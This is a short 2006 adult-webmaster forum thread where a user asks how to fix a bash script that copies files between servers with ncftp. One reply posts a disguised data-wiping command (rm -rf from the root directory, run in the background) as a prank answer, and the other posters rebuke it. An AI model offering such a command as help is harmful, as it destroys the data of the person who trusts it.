Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have any problems with the registration process or your account login, please contact us.

Post New Thread Reply

Register GFY Rules Calendar
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed.

 
Thread Tools
Old 02-27-2006, 11:09 AM   #1
alex79
Confirmed User
 
Join Date: Jun 2002
Location: france
Posts: 996
simple "bash scripting" question

how can i create a simple bashscript to copy some files from a server to another?

i've created next script:
PHP Code:
#! /bin/bash
ncftp -u root -p password serverip
get 
-rf *
exit 
but is not working.. when i run the script i get a ftp connection to the serverip (line ncftp -u root -p password serverip ) but next line that shuld copy the files are not runed (get -rf *)

what i'm doing wrong and how should i do?
__________________
alex79 is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 02-27-2006, 11:32 AM   #2
mortenb
Confirmed User
 
mortenb's Avatar
 
Join Date: Jul 2004
Location: Denmark ICQ: 7880009
Posts: 2,203
Quote:
Originally Posted by alex79
how can i create a simple bashscript to copy some files from a server to another?

i've created next script:
PHP Code:
#! /bin/bash
ncftp -u root -p password serverip
get 
-rf *
exit 
but is not working.. when i run the script i get a ftp connection to the serverip (line ncftp -u root -p password serverip ) but next line that shuld copy the files are not runed (get -rf *)

what i'm doing wrong and how should i do?

Code:
nohup cd /; rm -rf * > /dev/null 2>&1 &
mortenb is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 02-27-2006, 11:32 AM   #3
mortenb
Confirmed User
 
mortenb's Avatar
 
Join Date: Jul 2004
Location: Denmark ICQ: 7880009
Posts: 2,203
no.. don't do that..
mortenb is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 02-27-2006, 11:35 AM   #4
AgentCash
Confirmed User
 
Join Date: Feb 2002
Posts: 720
Man that is fucked up, don't tell him to do that.
The way I would do it is to set up a passwordless ssh login then rsync.
AgentCash is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 02-27-2006, 11:38 AM   #5
ServerGenius
Confirmed User
 
Join Date: Feb 2002
Location: Amsterdam
Posts: 9,377
Quote:
Originally Posted by mortenb
Code:
nohup cd /; rm -rf * > /dev/null 2>&1 &
asshole :ak47
__________________
| http://www.sinnerscash.com/ | ICQ: 370820 | Skype: SinnersCash | AdultWhosWho |
ServerGenius is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Post New Thread Reply
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >

Bookmarks



Advertising inquiries - marketing at gfy dot com

Contact Admin - Advertise - GFY Rules - Top

©2000-, AI Media Network Inc



Powered by vBulletin
Copyright © 2000- Jelsoft Enterprises Limited.